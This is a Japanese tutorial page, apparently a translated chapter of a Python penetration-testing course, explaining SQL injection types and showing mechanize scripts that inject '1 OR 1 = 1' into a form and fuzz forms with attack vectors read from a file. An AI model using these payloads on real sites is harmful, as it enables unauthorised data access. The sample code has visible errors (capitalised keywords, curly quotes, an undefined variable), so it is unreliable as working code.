Pythonペネトレーションテスト-SQLiWeb攻撃
SQLインジェクションは、Webアプリケーションに接続されているデータベースから必要な応答を取得するために、URL文字列またはデータ構造に配置されるSQLコマンドのセットです。このタイプの攻撃は通常、PHPまたはASP.NETを使用して開発されたWebページで発生します。
SQLインジェクション攻撃は、次の意図で実行できます。
データベースの内容を変更するには
データベースの内容を変更するには
アプリケーションで許可されていないさまざまなクエリを実行するには
このタイプの攻撃は、アプリケーションが入力をSQLステートメントに渡す前に、入力を適切に検証しない場合に機能します。インジェクションは通常、アドレスバー、検索フィールド、またはデータフィールドに配置されます。
WebアプリケーションがSQLインジェクション攻撃に対して脆弱であるかどうかを検出する最も簡単な方法は、文字列で「 '」文字を使用して、エラーが発生するかどうかを確認することです。
SQLi攻撃の種類
このセクションでは、さまざまなタイプのSQLi攻撃について学習します。攻撃は次の2つのタイプに分類できます-
インバンドSQLインジェクション(シンプルSQLi)
推論SQLインジェクション(ブラインドSQLi)
インバンドSQLインジェクション(シンプルSQLi)
これは最も一般的なSQLインジェクションです。この種のSQLインジェクションは主に、攻撃者が同じ通信チャネルを使用して攻撃を開始し、結果を集約できる場合に発生します。インバンドSQLインジェクションはさらに2つのタイプに分けられます-
Error-based SQL injection −エラーベースのSQLインジェクション手法は、データベースサーバーによってスローされたエラーメッセージに依存して、データベースの構造に関する情報を取得します。
Union-based SQL injection −これは、UNION SQL演算子を利用して2つ以上のSELECTステートメントの結果を1つの結果に結合し、HTTP応答の一部として返される、もう1つのインバンドSQLインジェクション手法です。
推論SQLインジェクション(ブラインドSQLi)
この種のSQLインジェクション攻撃では、Webアプリケーションを介してデータが転送されないため、攻撃者はインバンドで攻撃の結果を確認できません。これが、ブラインドSQLiとも呼ばれる理由です。推論SQLインジェクションにはさらに2つのタイプがあります-
Boolean-based blind SQLi −この種の手法は、SQLクエリをデータベースに送信することに依存しています。これにより、クエリがTRUEまたはFALSEのどちらの結果を返すかに応じて、アプリケーションは異なる結果を返すように強制されます。
Time-based blind SQLi−この種の手法は、SQLクエリをデータベースに送信することに依存しています。これにより、データベースは指定された時間(秒単位)待機してから応答します。応答時間は、クエリの結果がTRUEかFALSEかを攻撃者に示します。
例
すべてのタイプのSQLiは、アプリケーションへの入力データを操作することで実装できます。次の例では、攻撃ベクトルをアプリケーションに挿入し、出力を分析して攻撃の可能性を検証するPythonスクリプトを記述しています。ここでは、という名前のpythonモジュールを使用しますmechanize、WebページでWebフォームを取得する機能を提供し、入力値の送信も容易にします。このモジュールは、クライアント側の検証にも使用されています。
次のPythonスクリプトは、フォームを送信し、を使用して応答を分析するのに役立ちます mechanize −
まず、インポートする必要があります mechanize モジュール。
import mechanize
ここで、フォームの送信後に応答を取得するためのURLの名前を入力します。
url = input("Enter the full url")
次のコード行でURLが開きます。
request = mechanize.Browser()
request.open(url)
次に、フォームを選択する必要があります。
request.select_form(nr = 0)
ここでは、列名「id」を設定します。
request["id"] = "1 OR 1 = 1"
次に、フォームを送信する必要があります。
response = request.submit()
content = response.read()
print content
上記のスクリプトは、POSTリクエストの応答を出力します。SQLクエリを中断し、1行ではなく、テーブル内のすべてのデータを出力する攻撃ベクトルを送信しました。すべての攻撃ベクトルは、vectors.txtなどのテキストファイルに保存されます。これで、以下に示すPythonスクリプトは、ファイルからこれらの攻撃ベクトルを取得し、それらを1つずつサーバーに送信します。また、出力をファイルに保存します。
まず、mechanizeモジュールをインポートしましょう。
import mechanize
ここで、フォームの送信後に応答を取得するためのURLの名前を入力します。
url = input("Enter the full url")
attack_no = 1
ファイルから攻撃ベクトルを読み取る必要があります。
With open (‘vectors.txt’) as v:
次に、各アラックベクトルでリクエストを送信します
For line in v:
browser.open(url)
browser.select_form(nr = 0)
browser[“id”] = line
res = browser.submit()
content = res.read()
これで、次のコード行が出力ファイルへの応答を書き込みます。
output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1
応答を確認および分析することで、考えられる攻撃を特定できます。たとえば、文を含む応答を提供する場合You have an error in your SQL syntax 次に、フォームがSQLインジェクションの影響を受ける可能性があることを意味します。